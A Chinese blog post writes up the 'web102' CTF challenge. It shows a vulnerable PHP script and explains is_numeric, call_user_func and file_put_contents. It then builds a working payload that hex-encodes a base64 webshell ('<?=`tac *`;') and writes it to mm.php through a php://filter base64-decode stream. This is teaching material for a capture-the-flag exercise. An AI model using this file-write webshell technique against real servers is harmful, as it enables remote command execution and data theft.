web102笔记(is_numeric() 函数、call_user_func()函数、纯数字或者数字字符串写shell)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: atao
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-23 20:59:43

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}


?>

Notice: Undefined index: v1 in /var/www/html/index.php on line 14

Notice: Undefined index: v2 in /var/www/html/index.php on line 15

Notice: Undefined index: v3 in /var/www/html/index.php on line 16
hacker
首先继续了解几个函数

is_numeric() 函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回true,否则返回false。如果字符串中含有一个e代表科学计数法,也可返回true

call_user_func() 函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数

file_put_contents() 函数应该都熟悉了,写入内容到文件中,第一个参数是文件名,第二个参数是内容
substr($v2,2) 是相当于返回v2[2:]
file_put_contents($v3,$str)是将$str的内容写⼊并保存为$v3(第⼀个参数是⽂件名,第⼆个参数是内容)
这⾥v2和v3都要是数字,substr取v2[2:],v2开头可以是00来作为开头,然后v1(v2[2:])。web100的时候说了等号优先级⽐and⾼,所以v4那⾥满⾜v2是数字即可保证v4为真
v2要保证能写shell,⼜要保证能为数字。

首先,get传参v2和v3,post传参v1;if中需要v4为真才能往下执行,而v4要为真就是v2传的参数要为数字或者数字字符串,同时v2也是我们要写入的webshell
为了让v2为数字或者数字字符串,我们可以先把我们的webshell转换为base64编码,再把base64编码转换为16进制,这是一种办法去转换成数字

<?php
$b = base64_encode('<?=`tac *`;');
$b = str_replace("=","",$b);
echo "base64加密后:".$b."\n";
$a = call_user_func('bin2hex',$b);
echo "16进制形式:".$a."\n";
var_dump(is_numeric($a));

/*运行结果
base64加密后:PD89YHRhYyAqYDs
16进制形式:504438395948526859794171594473                       如果有3d是等号,解码的时候不是很严格,
bool(true)
*/

说明:<?=是php的短标签,是echo()的快捷用法
还有一点,就是substr()取得是从下标为2开始的字符串,我们在前面加00两位数
所以payload为

?v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=mm.php

post:
v1=hex2bin

解着再访问mm.php即可得到flag

 

posted @ 2025-03-25 11:10  justdoIT*  阅读(9)  评论(0)    收藏  举报